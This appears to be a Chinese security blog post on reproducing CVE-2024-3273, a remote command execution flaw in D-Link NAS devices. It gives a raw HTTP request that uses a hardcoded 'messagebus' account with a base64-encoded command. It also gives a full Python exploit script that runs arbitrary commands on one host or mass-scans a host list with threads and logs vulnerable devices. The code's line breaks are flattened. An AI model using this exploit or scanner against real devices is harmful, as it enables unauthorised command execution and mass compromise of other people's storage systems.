【成功复现】D-Link产品远程命令执行漏洞(CVE-2024-3273)

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=bHM= HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36Accept-Encoding: identityAccept: */*Connection: keep-alive

import requestsimport base64import threading# Utility function for Base64 encodingdef encode_base64(command):    return base64.b64encode(command.encode()).decode()# Watermark bannerprint("""┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓━┓┏┓┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗┛┗━ ╹┗┛""")headers = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36",    "Accept-Encoding": "identity"}# Use a session for requestssession = requests.Session()# Lock for file writingfile_write_lock = threading.Lock()def execute_command(host, command=None, print_response=True):    if command is None:        command = 'id'    encoded_command = encode_base64(command)    url = f"http://{host}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={encoded_command}"    try:        response = session.get(url, headers=headers, timeout=10)        if 'root' in response.text:            with file_write_lock:                with open('vulnerables.txt', 'a') as f:                    f.write(host + 'n')            print(f"Host {host} is vulnerable.")        elif print_response:            print(f"Response from {host}:")            print(response.text)    except requests.Timeout:        print(f"Request timed out for host {host}.")    except requests.ConnectionError as e:        print(f"Connection error for host {host}.")    except Exception as e:        print(f"An error occurred for host {host}.")def execute_command_multiple(file_path, export):    with open(file_path, 'r') as file:        threads = []        for line in file:            host = line.strip().replace("ufeff", "")            thread = threading.Thread(target=execute_command, args=(host, None, False))            thread.start()            threads.append(thread)        # Wait for all threads to complete        for thread in threads:            thread.join()def main():    option = input("Choose an option (1: Single Host, 2: Multiple Hosts): ")    if option == '1':        host = input("Enter the host: ")        command = input("Enter the command to run: ")        execute_command(host, command)    elif option == '2':        file_path = input("Enter the file path containing hosts: ")        export = input("Export vulnerable host to vulnerables.txt? (y/n): ").lower()        execute_command_multiple(file_path, export)    else:        print("Invalid option.")if __name__ == "__main__":    main()

https://buaq.net/go-232770.htmlhttps://github.com/adhikara13/CVE-2024-3273https://www.trustwave.com/en-us/resources/security-resources/security-advisories